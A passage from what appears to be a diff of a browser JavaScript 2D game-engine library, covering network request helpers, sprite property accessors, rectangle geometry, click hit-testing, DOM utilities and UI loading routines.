} + ; + } + ; + } + ;return ss; +} +;function logmessage(str, mode) { + if (gameabc_face.openlog != 1 && mode == 0) { + return; + } + ;if (!mode) { + mode = 0; + } + ;switch (mode) { + case 2: + document.title = str; + break; + case 0: + ;break; + case 1: + gameabc_face.drawcharge = 1; + gameabc_face.loglist.push(str); + break; + case -1: + gameabc_face.drawcharge = 1; + gameabc_face.loglist = []; + break; + default: + break; + } +} +;function readfile_a2(myid, url, postcp, fun) { + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, true); + } else { + XMLHttpRequestObject.open("POST", url, true); + } + ;XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.onreadystatechange = function() { + if (XMLHttpRequestObject.readyState == 4) { + if (XMLHttpRequestObject.status == 200) { + if (fun) { + fun(myid, url, XMLHttpRequestObject.responseText); + } + } else { + if (fun) { + fun(myid, "error", XMLHttpRequestObject.responseText); + } + } + } + } + ; + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.send(postcp); + } + } + } catch (e) { + if (fun) { + fun(myid, "error", "error"); + } + ; + } + ; +} +;function readfile_a(url, postcp, fun) { + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, true); + } else { + XMLHttpRequestObject.open("POST", url, true); + } + ;XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.onreadystatechange = function() { + if (XMLHttpRequestObject.readyState == 4) { + if (XMLHttpRequestObject.status == 200) { + fun(XMLHttpRequestObject.responseText); + } else { + fun("null"); + } + } + } + ; + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.send(postcp); + } + } + } catch (e) { + fun("error"); + } + ; +} +;function readfile_t(url, postcp) { + var myString = ""; + var XMLHttpRequestObject = false; + try { + if (window.XMLHttpRequest) { + XMLHttpRequestObject = new XMLHttpRequest(); + } else if (window.ActiveXObject) { + XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP"); + } + ;if (XMLHttpRequestObject) { + if (!postcp || postcp == 'GET') { + XMLHttpRequestObject.open("GET", url, false); + XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.send(null); + } else { + XMLHttpRequestObject.open("POST", url, false); + XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); + XMLHttpRequestObject.send(postcp); + } + ;myString = XMLHttpRequestObject.responseText; + return myString; + } else { + return myString; + } + } catch (e) { + return "error"; + } + ; +} +;function ifast_mod(i, b) { + return i % b; +} +;function ifast_div(i, b) { + if (!b) { + return parseInt(i); + } + ;return parseInt(i / b); +} +;function ifast_getobj(spid) { + return gameabc_getobj(spid); +} +;function set_rec(stringid, stringv) { + gameabc_GameTxt.GameTxtList[stringid].Text = stringv; +} +;function get_rec(stringid) { + return gameabc_GameTxt.GameTxtList[stringid].Text; +} +;function ifast_tel(tel) { + if (ifast_ispc() == 0) { + window.location.href = "tel://" + tel; + } else { + showmessage("模拟打电话:" + tel); + } +} +;function set_level_up(levelid, vsb) { + if (!gameabc_Layer.LayerList[levelid]) { + return; + } + ;gameabc_Layer.LayerList[levelid].vsb = vsb; + var t = gameabc_Layer.showorder; + t.removeval(levelid); + if (vsb == 1) { + t.push(levelid); + set_level(gameabc_Layer.showorder); + } +} +;function set_level(levelid, vsb, val) { + if (arguments.length == 1) { + var le = gameabc_Layer.LayerList; + gameabc_Layer.showorder = levelid; + for (yy = 0; yy < le.length; yy++) { + le[yy].vsb = 0; + } + ;for (yy = 0; yy < levelid.length; yy++) { + if (!le[levelid[yy]].Property) { + continue; + } + ;le[levelid[yy]].vsb = 1; + } + ;return; + } + ;if (!gameabc_Layer.LayerList[levelid]) { + return; + } + ;if (arguments.length == 2) { + gameabc_Layer.LayerList[levelid].vsb = vsb; + return; + } + ;if (vsb == 41) { + gameabc_Layer.LayerList[levelid].canclick = val; + } +} +;function set_group(groupid, cpid, val, mode, val2) { + var groups = gameabc_GroupList.GroupList; + var group; + var id; + for (var x = 0; x < groups.length; x++) { + if (groups[x].GroupID == groupid) { + group = groups[x].ObjectList; + for (var y = 0; y < group.length; y++) { + id = group[y]; + set_self(id, cpid, val, mode, val2); + } + } + } +} +;function get_self(id, cpid, val, mode, val2) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return 0; + } + ;var re = 0; + if (mode == 0) { + mode = -1; + } + ;switch (cpid) { + case 6: + re = obj.image; + break; + case 16: + re = obj.f; + break; + case 7: + if (obj.uipointer == 0) { + if (!val || val == 0) { + re = obj.caption; + } else { + if (typeof (val) == 'string') { + re = ifast_measureText(id, val); + } else { + re = ifast_measureText(id); + } + ; + } + } else { + re = gameabc_face.getdiv_text(obj.uipointer); + } + ;break; + case 1: + re = gamabc_getval(obj.recid, val, mode); + break; + case 33: + re = gamabc_getval(obj.scale, val, mode); + break; + case 34: + re = gamabc_getval(obj.arge, val, mode); + break; + case 35: + re = gamabc_getval(obj.ap, val, mode); + break; + case 36: + re = gamabc_getval(obj.hu, val, mode); + break; + case 45: + re = gamabc_getval(obj.cx, val, mode); + break; + case 46: + re = gamabc_getval(obj.cy, val, mode); + break; + case 51: + re = gamabc_getval(obj.jx, val, mode); + break; + case 18: + re = gamabc_getval(obj.x, val, mode); + break; + case 19: + re = gamabc_getval(obj.y, val, mode); + break; + case 20: + re = gamabc_getval(obj.w, val, mode); + break; + case 21: + re = gamabc_getval(obj.h, val, mode); + break; + case 43: + re = gamabc_getval(obj.frame, val, mode); + break; + case 37: + if (obj.uipointer == 0) { + re = gamabc_getval(obj.visbale, val, mode); + } else { + re = gameabc_face.getdiv_v(obj.uipointer); + } + ;break; + case 41: + re = gamabc_getval(obj.canclick, val, mode); + break; + case 44: + re = gamabc_getval(obj.groupid, val, mode); + break; + case 57: + re = gamabc_getval(obj.ontime, val, mode); + break; + case 58: + re = obj.color; + break; + case 28: + var t = {}; + t.x = obj.x; + t.y = obj.y; + t.w = obj.w; + t.h = obj.h; + re = t; + break; + default: + if (!obj["other" + cpid]) { + obj["other" + cpid] = 0; + } + ;re = gamabc_getval(obj["other" + cpid], val, mode); + break; + } + ;return re; +} +;function set_self(id, cpid, val, mode, val2) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return 0; + } + ;if (arguments.length == 3) { + mode = 0; + } + ;if (typeof (cpid) == "string") { + if (obj.uipointer != 0) { + obj.uipointer.setAttribute(cpid, val); + } + ;return; + } + ;switch (cpid) { + case 6: + obj.image = val; + break; + case 28: + if (typeof (val) == "object") { + obj.x = val.x; + obj.y = val.y; + obj.w = val.w; + obj.h = val.h; + } + ;break; + case 16: + if (val <= 0) { + obj.f = 0; + } else { + obj.f = ifast_getobj(val); + } + ;break; + case 58: + obj.color = val; + break; + case 7: + if (typeof (val) != "string") { + try { + val = val.toString(); + } catch (e) { + val = "null"; + } + } + ;if (obj.uipointer != 0) { + gameabc_face.setdiv_text(obj.uipointer, val); + } + ;obj.caption = val; + break; + case 1: + obj.recid = gamabc_getval(obj.recid, val, mode); + if (obj.recid <= 0) { + obj.image = null; + } else { + if (obj.recid < 10000) { + obj.image = gameabc_load_img2(obj.recid); + } else { + obj.image = gameabc_Image.addimgs["add" + obj.recid].img; + } + } + ;break; + case 33: + obj.scale = gamabc_getval(obj.scale, val, mode); + break; + case 34: + obj.arge = gamabc_getval(obj.arge, val, mode); + break; + case 35: + obj.ap = gamabc_getval(obj.ap, val, mode); + break; + case 36: + obj.hu = gamabc_getval(obj.hu, val, mode); + break; + case 45: + obj.cx = gamabc_getval(obj.cx, val, mode); + break; + case 46: + obj.cy = gamabc_getval(obj.cy, val, mode); + break; + case 51: + obj.jx = gamabc_getval(obj.jx, val, mode); + break; + case 18: + obj.x = gamabc_getval(obj.x, val, mode); + break; + case 19: + obj.y = gamabc_getval(obj.y, val, mode); + break; + case 20: + obj.w = gamabc_getval(obj.w, val, mode); + break; + case 21: + obj.h = gamabc_getval(obj.h, val, mode); + break; + case 43: + obj.frame = gamabc_getval(obj.frame, val, mode); + break; + case 37: + if (obj.uipointer != 0) { + gameabc_face.setdiv_v(obj.uipointer, val); + } + ;obj.visbale = gamabc_getval(obj.visbale, val, mode); + break; + case 41: + obj.canclick = gamabc_getval(obj.canclick, val, mode); + break; + case 44: + obj.groupid = gamabc_getval(obj.groupid, val, mode); + break; + case 57: + obj.ontime = gamabc_getval(obj.ontime, val, mode); + if (obj.ontime == 0) { + obj.click_time = 0; + } + ;break; + default: + if (!obj["other" + cpid]) { + obj["other" + cpid] = 0; + } + ;obj["other" + cpid] = gamabc_getval(obj["other" + cpid], val, mode); + break; + } + ;if (obj.ObjectType == 5) { + obj.charge(obj.x, obj.y, obj.w, obj.h); + } +} +;function ifast_getrectdec(allrect, syrect, Align, SizeStyle, size, dec) { + return getmyrectdec(allrect, syrect, Align, SizeStyle, size, dec); +} +;function ifast_getrect(spid, Align, SizeStyle, size) { + var rect1; + if (spid <= 0) { + return ifast_rect(0, 0, window.innerWidth, window.innerHeight); + } + ;rect1 = get_self(spid, 28); + if (!Align) { + return rect1; + } + ;return getmyrectdec(rect1, rect1, Align, SizeStyle, size, 0); +} +;function ifast_checksprite(spido, spidd) { + var o = get_self(spido, 28); + var d = get_self(spidd, 28); + return ifast_checkrect(o, d); +} +;function ifast_checkpoint(x, y, d) { + if (x >= d.x && x <= d.x + d.w && y >= d.y && y <= d.y + d.h) { + return 1; + } else { + return 0; + } +} +;function ifast_checkrect(o, d) { + if (d.x >= o.w || d.y >= o.h) { + return 0; + } else { + return 1; + } + ;if (d.x + d.w <= o.x || d.y + d.h < o.y) { + return 0; + } else { + return 1; + } + ;var px; + var py; + px = o.x <= d.x ? d.x : o.x; + py = o.y <= d.y ? d.y : o.y; + if (px >= o.x && px <= o.x + o.w && py >= o.y && py <= o.y + o.h && px >= d.x && px <= d.x + d.w && py >= d.y && py <= d.y + d.h) { + return 1; + } else { + return 0; + } +} +;function ifast_rectalign(rects, mode, pointx, y) { + var point; + if (arguments.length == 3) { + point = pointx; + } else { + point = ifast_rect(pointx, y, 0, 0); + } + ;var rect1 = ifast_rect(rects); + switch (mode) { + case 1: + rect1 = ifast_rectoffxy(rect1, point.x, point.y); + break; + case 2: + rect1.x = point.x + rect1.x - rect1.w; + rect1.y = point.y + rect1.y; + break; + case 3: + rect1.x = point.x + rect1.x - rect1.w; + rect1.y = point.y + rect1.y - rect1.h; + break; + case 4: + rect1.x = point.x + rect1.x; + rect1.y = point.y + rect1.y - rect1.h; + break; + case 5: + rect1.x = point.x + rect1.x - parseInt(rect1.w * 0.5); + rect1.y = point.y + rect1.y - parseInt(rect1.h * 0.5); + break; + default: + break; + } + ;return rect1; +} +;function ifast_spritealignxy(offx, offy, spids, modeds, cx, cy) { + var rect1 = get_self(spids, 28); + rect1.x = offx; + rect1.y = offy; + var rect2; + rect2 = ifast_rectalign(rect1, modeds, cx, cy); + set_self(spids, 28, rect2); +} +;function ifast_spritealign(offx, offy, spids, modeds, spidd, moded) { + var rect1 = get_self(spids, 28); + rect1.x = offx; + rect1.y = offy; + var rect2 = get_self(spidd, 28); + rect2 = ifast_point(rect2, moded); + rect2 = ifast_rectalign(rect1, modeds, rect2); + set_self(spids, 28, rect2); +} +;function ifast_point(r, mode) { + var rect1; + rect1 = ifast_rect(r.x, r.y, r.w, r.h); + switch (mode) { + case 1: + break; + case 2: + rect1.x += rect1.w; + break; + case 3: + rect1.x += rect1.w; + rect1.y += rect1.h; + break; + case 4: + rect1.y += rect1.h; + break; + case 5: + rect1.x += parseInt(rect1.w * 0.5); + rect1.y += parseInt(rect1.h * 0.5); + break; + } + ;return rect1; +} +;function ifast_rectscwh(r, sw, sh) { + var rect1; + rect1 = ifast_rect(r.x, r.y, r.w, r.h); + rect1.w = parseInt(r.w * sw); + rect1.h = parseInt(r.h * sh); + return rect1; +} +;function ifast_rectoffxy(r, x, y) { + var rect1 = {}; + rect1.x = x + r.x; + rect1.y = y + r.y; + rect1.w = r.w; + rect1.h = r.h; + return rect1; +} +;function ifast_rect(ox, oy, ow, oh) { + var rect1 = {}; + if (arguments.length < 4) { + rect1.x = ox.x; + rect1.y = ox.y; + rect1.w = ox.w; + rect1.h = ox.h; + } else { + rect1.x = ox; + rect1.y = oy; + rect1.w = ow; + rect1.h = oh; + } + ;return rect1; +} +;function ifast_setkey(id, key, val) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + } + ;ifast_hashmaps['my' + id]['my' + key] = val; +} +;function ifast_getkey(id, key) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + return null; + } + ;return ifast_hashmaps['my' + id]['my' + key]; +} +;function ifast_delkey(id, key) { + if (ifast_hashmaps['my' + id] == undefined) { + ifast_hashmaps['my' + id] = {}; + } + ;delete ifast_hashmaps['my' + id]['my' + key]; +} +;function ifast_addtospritefromspritecopy(fspid, copyspid, x, y, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + var obj2 = new GameObject().addtospritefromspritecopy(fspid, copyspid, x, y, tag); + return fspid + 'add' + tag; +} +;function ifast_dllpritefromspritecopy(fspid, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + fobj.dllpritefromspritecopy(tag); +} +;function ifast_check_add(spid, x1, y1) { + return gameabc_check_add(spid, x1, y1) +} +;function ifast_ispc() { + var userAgentInfo = navigator.userAgent; + var Agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"]; + var flag = 1; + for (var v = 0; v < Agents.length; v++) { + if (userAgentInfo.indexOf(Agents[v]) > 0) { + flag = 0; + break; + } + } + ;return flag; +} +;function ifast_checkimg(image_id, upwh) { + gameabc_face.drawcharge = 1; + var obj; + if (image_id < 10000) { + obj = gameabc_Image.ImageFileList[image_id]; + if (!obj) { + return 0; + } + ;if (obj.img.error != 0) { + return -obj.img.error; + } + ;if (upwh == 1) { + obj.w1 = parseInt(obj.w1 * (obj.img.width / obj.img.allw)); + obj.h1 = parseInt(obj.h1 * (obj.img.height / obj.img.allh)); + obj.img.allw = obj.img.width; + obj.img.allh = obj.img.height; + } + ;return obj.img.ok; + } else { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;obj = gameabc_Image.addimgs["add" + image_id]; + if (!obj) { + return 0; + } + ;if (obj.img.error != 0) { + return -obj.img.error; + } + ;if (upwh == 1) { + obj.w1 = parseInt(obj.w1 * (obj.img.width / obj.img.allw)); + obj.h1 = parseInt(obj.h1 * (obj.img.height / obj.img.allh)); + obj.img.allw = obj.img.width; + obj.img.allh = obj.img.height; + } + ;return obj.img.ok; + } +} +;function ifast_addimgfromimgcopy(fimgid, copyimgid, url) { + if (fimgid > 10000) { + alert('ifast_addimgfromimgcopy:fimgid:必须小于10000'); + return -1; + } + ;if (copyimgid < 10000) { + alert('ifast_addimgfromimgcopy:copyimgid:必须大于等于10000'); + return -2; + } + ;if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;var obj = gameabc_Image.addimgs["add" + copyimgid]; + if (obj) { + return; + } + ;gameabc_Image.addimgs["add" + copyimgid] = {}; + obj = gameabc_Image.addimgs["add" + copyimgid]; + var objimg = gameabc_Image.ImageFileList[fimgid]; + if (!objimg.id) { + alert('ifast_addimgfromimgcopy:fimgid:没有属性'); + return -3; + } + ;obj.img = new Image(); + obj.img.id = copyimgid; + obj.img.ok = 0; + obj.img.allw = objimg.w_all; + obj.img.allh = objimg.h_all; + obj.img.error = 0; + obj.id = copyimgid; + obj.w_all = objimg.w_all; + obj.h_all = objimg.h_all; + obj.h = objimg.h; + obj.w = objimg.w; + obj.frame_all = objimg.frame_all; + obj.w1 = objimg.w1; + obj.h1 = objimg.h1; + obj.img.src = url; + obj.img.pathx = url; + obj.img.onload = function() { + this.ok = 1; + obj.w_all = this.width; + obj.h_all = this.height; + obj.w1 = parseInt(this.width / obj.w); + obj.h1 = parseInt(this.height / obj.h); + } + ; + obj.img.onerror = function() { + this.error = this.error + 1; + if (this.error < 3) { + obj.img.src = ''; + obj.img.src = obj.img.pathx; + } + } +} +;function ifast_delimgfromimgcopy(copyimgid) { + if (!gameabc_Image.addimgs) { + gameabc_Image.addimgs = {}; + } + ;var obj = gameabc_Image.addimgs["add" + copyimgid]; + if (obj) { + delete obj.img; + delete gameabc_Image.addimgs["add" + copyimgid]; + } + ; +} +;function ifast_loadhtml(htmltxt) { + document.open(); + document.write(htmltxt); + document.close(); +} +;function ifast_split(str1, str2) { + return str1.split(str2); +} +;function draw_bg(recid) { + var img = gameabc_load_img2(recid); + if (g_GameObjectManager.d2dbj) { + g_GameObjectManager.d2dbj.drawImage(img, 0, 0, g_GameObjectManager.canvas.width, g_GameObjectManager.canvas.height); + g_GameObjectManager.userbj = 1; + } + ; +} +;function other_replaceall(sstr, key1, ostr) { + if (arguments.length == 2) { + var news = sstr; + var key; + if (typeof (key1) == 'string') { + key = eval("(" + key1 + ")"); + } else { + key = key1; + } + ;for (var kayname in key) { + news = other_replaceall(news, '{{' + kayname + '}}', key[kayname]); + } + ;return news; + } + ;var regS = new RegExp(key1,"g"); + return sstr.replace(regS, ostr); +} +;function other_upimgsrc(id, str) { + var obj = window.document.getElementById(id); + obj.src = str; +} +;function other_upinnerHTML(id, str, isadd) { + var obj = window.document.getElementById(id); + if (isadd) { + obj.innerHTML = obj.innerHTML + str; + } else { + obj.innerHTML = str; + } +} +;function other_upkey(id, key, ostr) { + var obj = window.document.getElementById(id); + obj.setAttribute(key, ostr); +} +;function other_setdom(id, key, val) { + var obj; + if (typeof (id) == 'string') { + obj = gameabc_face.getdiv(id); + } else { + obj = id; + } + ;obj.setAttribute(key, val); +} +;function other_deldom(id) { + var obj; + if (typeof (id) == 'string') { + obj = gameabc_face.getdiv(id); + } else { + obj = id; + } + ;obj.parentNode.removeChild(obj); +} +;function other_creatdom(mode) { + var inText = document.createElement(mode); + return inText; +} +;function other_offdomxywh(sdom, ddom, offx, offy, ww, hh) { + var obj; + if (typeof (sdom) == 'string') { + obj = gameabc_face.getdiv(sdom); + } else { + obj = sdom; + } + ;var obj2; + if (typeof (ddom) == 'string') { + obj2 = gameabc_face.getdiv(ddom); + } else { + obj2 = ddom; + } + ;if (obj2 == null) { + return; + } + ;obj2.style.position = 'absolute'; + if (!offx) { + offx = 0; + } else { + offx = parseInt(offx / gameabc_face.mouse_sx); + } + ;if (!offy) { + offy = 0; + } else { + offy = parseInt(offy / gameabc_face.mouse_sy); + } + ;if (!ww) { + ww = obj.width; + } else { + ww = parseInt((ww) / gameabc_face.mouse_sx); + } + ;if (!hh) { + hh = obj.height; + } else { + hh = parseInt((hh) / gameabc_face.mouse_sy); + } + ;obj2.style.left = parseInt(obj.style.left) + offx + 'px'; + obj2.style.top = parseInt(obj.style.top) + offy + 'px'; + obj2.width = ww; + obj2.height = hh; +} +;function other_appdom(pdom, dom) { + var obj; + if (typeof (pdom) == 'string') { + obj = gameabc_face.getdiv(pdom); + } else { + obj = pdom; + } + ;obj.appendChild(dom); +} +;function other_setdom_v(pdom, v) { + var obj; + if (typeof (pdom) == 'string') { + obj = gameabc_face.getdiv(pdom); + } else { + obj = pdom; + } + ;if (v == 0) { + obj.style.display = "none"; + } else { + obj.style.display = "block"; + } +} +;function ifast_urlstr(sstr) { + return encodeURIComponent(sstr); +} +;function ifast_unurlstr(sstr) { + return decodeURIComponent(sstr); +} +;function ifast_checkjsonstr(v) { + v = other_replaceall(v, "\n", "\\n"); + v = other_replaceall(v, "\r", "\\r"); + return v; +} +;ifastunit = 7; +var gameabc_func = gameabc_func || {}; +function set_self2(name, cpid, val, mode, val2) {} +;function get_self2(name, cpid, val, mode, val2) {} +;gameabc_func.resizespanle2 = function(uidata, obj, allwh, mode) { + var wh = {}; + switch (mode) { + case 0: + wh = allwh; + break; + case 1: + break; + case 2: + break; + } + ;return wh; +} +; +gameabc_func.resizespanle = function(levelid, w, h) { + var objs = gameabc_Layer.LayerList[levelid].ObjectList; + var i; + var objid; + var obj; + var l = objs.length; + var allwh = {}; + allwh.x = 0; + allwh.y = 0; + allwh.w = w; + allwh.w = h; + var sywh = {}; + sywh.x = 0; + sywh.y = 0; + sywh.w = w; + sywh.w = h; + for (i = 0; i < l; i++) { + objid = objs[i]; + obj = gameabc_func.getobj(objid); + if (ifast_isno(obj)) { + continue; + } + ;if (obj.uidata.ObjectType == 6) { + if (obj.uidata.SizeStyle <= 1) { + sywh = gameabc_func.resizespanle2(obj.uidata, obj, allwh, obj.uidata.SizeStyle); + } else { + sywh = gameabc_func.resizespanle2(obj.uidata, obj, sywh, obj.uidata.SizeStyle); + } + ; + } + ; + } +} +; +gameabc_func.getobj = function(id) { + if (id < 1) { + return gameabc_face.obj; + } + ;return gameabc_Object["sp" + id]; +} +; +function gamabc_getval(val, val2, mode) { + switch (mode) { + case -1: + return val; + break; + case 0: + return val2; + break; + case 1: + return val + val2; + break; + case 2: + return val - val2; + break; + case 3: + return parseInt(val * val2); + break; + case 4: + return parseInt(val / val2); + break; + default: + return val; + break; + } +} +;gameabc_func.setioplay = function() { + setioplay(); +} +; +gameabc_func.getval = function(val, val2, mode) { + gamabc_getval(val, val2, mode); +} +; +gameabc_func.get_self = function(id, cpid, val, mode, val2) { + return get_self(id, cpid, val, mode, val2); +} +; +gameabc_func.set_self = function(id, cpid, val, mode, val2) { + set_self(id, cpid, val, mode, val2); +} +; +gameabc_func.set_group = function(groupid, cpid, val, mode, val2) { + set_group(groupid, cpid, val, mode, val2); +} +; +gameabc_func.set_level = function(levelid, vsb) { + set_level(levelid, vsb); +} +; +function gameabc_insert_sp() {} +;function gameabc_del_sp() {} +;function gameabc_getrect1() {} +;function gameabc_getrect2(recid, frame) { + var obj; + if (recid < 10000) { + obj = gameabc_Image.ImageFileList[recid]; + } else { + obj = gameabc_Image.addimgs['add' + recid]; + if (!obj) { + alert('add' + recid + '不存在!'); + } + ; + } + ;var w = obj.w1; + var h = obj.h1; + var x = obj.w; + var y = obj.h; + var frame_all = obj.frame_all; + frame = frame - 1; + if (frame < 0) + frame = 0; + frame = frame % frame_all; + var py = parseInt(frame / x); + var px = frame % x; + var r = {}; + r.x = px * w; + r.y = py * h; + r.w = w; + r.h = h; + return r; +} +;function gameabc_loadui1(canvas1, w, h) {} +;function gameabc_loaduiall() { + gameabc_loadui2(); +} +;function gameabc_getobj(id) { + if (id < 1) { + return gameabc_face.obj; + } + ;return gameabc_Object["sp" + id]; +} +;function gameabc_check_add(spid, x1, y1) { + var id = -99999999; + var i; + var obj = ifast_getobj(spid); + var obj2; + var x; + var y; + var w; + var h; + if (obj.addlist) { + var l = obj.addlist.length; + if (l > 0) { + for (i = l - 1; i >= 0; i--) { + obj2 = obj[obj.addlist[i]]; + if (!obj2) {//---xwb------- + continue; + } + if (!obj2.visbale) {//---xwb------- + continue; + } + if (obj2.visbale == false) { + continue; + } + ;if (obj2.canclick == false) { + continue; + } + ;if (obj2.ObjectType == 6) { + continue; + } + ;x = obj2.x + obj.x; + y = obj2.y + obj.y; + w = obj2.w; + h = obj2.h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obj2.add_fatag; + } + } + } + } + ;return id; +} +;function gameabc_check_click2(x1, y1) { + var le = gameabc_Layer.LayerList; + var order = gameabc_Layer.showorder; + var orderlen = order.length; + var xx; + var yy; + var yy1; + var ok = 0; + var list; + for (yy1 = orderlen - 1; yy1 >= 0; yy1--) { + yy = order[yy1]; + if (!le[yy].Property) { + continue; + } + ;if (le[yy].vsb == 0) { + continue; + } + ;if (le[yy].canclick == 0) { + continue; + } + ;list = le[yy].ObjectList; + for (xx = list.length - 1; xx >= 0; xx--) { + obj = gameabc_Object["sp" + list[xx]]; + if (obj) { + ok = gameabc_check_click1(obj, x1, y1); + if (ok != 0) { + return ok; + } + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ;if (ok != 0) { + return ok; + } + } + ;return 0; +} +;function gameabc_check_click1(obj, x1, y1) { + if (obj.visbale == false) { + return 0; + } + ;if (obj.canclick == false) { + return 0; + } + ;if (obj.ObjectType == 6) { + return 0; + } + ;if (gameabc_Layer.LayerList[obj.z].vsb == false) { + return 0; + } + ;if (obj.f) { + x = obj.x + obj.f.x; + y = obj.y + obj.f.y; + } else { + x = obj.x; + y = obj.y; + } + ;w = obj.w; + h = obj.h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obj.objid; + } + ;return 0; +} +;function gameabc_check_click(x1, y1) { + return gameabc_check_click2(x1, y1); + var obs = g_GameObjectManager.gameObjects; + var i; + var x; + var y; + var w; + var h; + var ob; + for (i = obs.length - 1; i >= 0; i--) { + if (obs[i].visbale == false) { + continue; + } + ;if (obs[i].canclick == false) { + continue; + } + ;if (obs[i].ObjectType == 6) { + continue; + } + ;if (gameabc_Layer.LayerList[obs[i].z].vsb == false) { + continue; + } + ;if (obs[i].f) { + x = obs[i].x + obs[i].f.x; + y = obs[i].y + obs[i].f.y; + } else { + x = obs[i].x; + y = obs[i].y; + } + ;w = obs[i].w; + h = obs[i].h; + if (x1 >= x && x1 < x + w && y1 > y && y1 < y + h) { + return obs[i].objid; + } + } + ;return 0; +} +;function gameabc_loadui2(ObjectID) { + if (arguments.length == 0) { + gameabc_face.ifast_app = 0; + gameabc_face.logmessage("gameabc_loadui2"); + if (!gameabc_Layer.showorder) { + gameabc_Layer.showorder = []; + gameabc_Layer.showtimelist = []; + } + ;var i; + for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + gameabc_loadui2(i); + } + ;var d = 1; + var okle; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + okle.vsb = 1; + okle.canclick = 1; + okle.ontimelist = []; + gameabc_Layer.showorder[d - 1] = d; + if (!okle.allrect) { + okle.allrect = {}; + okle.syrect = {}; + okle.myrect = {}; + } + } + ;for (i = 1; i < gameabc_Object.ObjectList.length; i++) { + var objx = gameabc_Object.ObjectList[i].Property; + if (!objx) { + continue; + } + ;if (!objx.obj2) { + continue; + } + ;var fun = gameabc_face["ontimer_" + objx.ObjectID]; + if (fun) { + okle = gameabc_Layer.LayerList[objx.BelongLayerID]; + okle.ontimelist.push(objx.ObjectID); + } + ;if (objx.obj2.f > 0) { + objx.obj2.f = ifast_getobj(objx.obj2.f); + } + ; + } + ;for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + okle = gameabc_Layer.LayerList[d]; + if (okle.ontimelist.length > 0) { + gameabc_Layer.showtimelist.push(d); + } + } + ;gameabc_face.loadui2 = 1; + return; + } + ;var objs = gameabc_Object.ObjectList; + var obj = gameabc_Object.ObjectList[ObjectID].Property; + if (!obj) { + return; + } + ;if (obj.obj2) { + if (obj.obj2 != null) { + return; + } + } + ;var obj2 = null; + var op = obj.ObjectType; + var x = obj.Left; + var y = obj.Top; + var z = obj.BelongLayerID; + var zorder = z * 10000 + obj.IndexOfLayer; + var w = obj.Width; + var h = obj.Height; + var f = obj.FrameIndex; + var recid = obj.ImageFileID; + var Parent = obj.Parent; + switch (op) { + case 6: + obj2 = new gameabc_panle().gameabc_open(ObjectID, x, y, zorder, w, h); + obj2.Align = obj.Align; + obj2.SizeStyle = obj.SizeStyle; + obj2.Size = obj.Size; + gameabc_face.ifast_app = 1; + break; + case 5: + obj2 = new gameabc_list().gameabc_open(ObjectID, x, y, zorder, w, h); + obj2.charge(obj.Left, obj.Top, obj.Width, obj.Height, 0, 0); + break; + case 2: + var imgid = obj.ImageFileID; + var img = null; + img = gameabc_load_img2(imgid); + obj2 = new gameabc_img().gameabc_open(img, x, y, zorder); + obj2.objid = ObjectID; + obj2.w = w; + obj2.h = h; + obj2.frame = f; + obj2.recid = recid; + obj2.classid = op; + obj2.caption = obj.TextFrames; + break; + case 3: + f = obj.GameTxtID; + obj2 = new gameabc_imgtxt().gameabc_open("", x, y, zorder); + obj2.objid = ObjectID; + obj2.classid = op; + obj2.w = w; + obj2.h = h; + obj2.frame = f; + if (obj.GameTxtStyle > 0) { + var t = 0; + if (obj.GameTxtStyle < 3) { + if (obj.Data) { + t = parseInt(obj.Data); + } + } + ;obj2.uipointer = gameabc_face.addinputdiv("div" + ObjectID, obj.GameTxtStyle - 1 + t, x, y, w, h); + if (obj2.uipointer) { + obj2.uipointer.mode = obj.GameTxtStyle - 1; + gameabc_face.setdiv_text(obj2.uipointer, gameabc_GameTxt.GameTxtList[f].Text); + } + ; + } + ;break; + case 4: + var txt = objs[ObjectID].Property.Text; + obj2 = new gameabc_txt().gameabc_open(txt, x, y, zorder); + obj2.objid = ObjectID; + obj2.classid = op; + obj2.w = w; + obj2.h = h; + if (obj.GameTxtStyle > 0) { + if (obj.Data) { + obj.GameTxtStyle = parseInt(obj.Data); + } + ;obj2.uipointer = gameabc_face.addinputdiv("div" + ObjectID, obj.GameTxtStyle - 1, x, y, w, h); + if (obj2.uipointer) { + obj2.uipointer.mode = 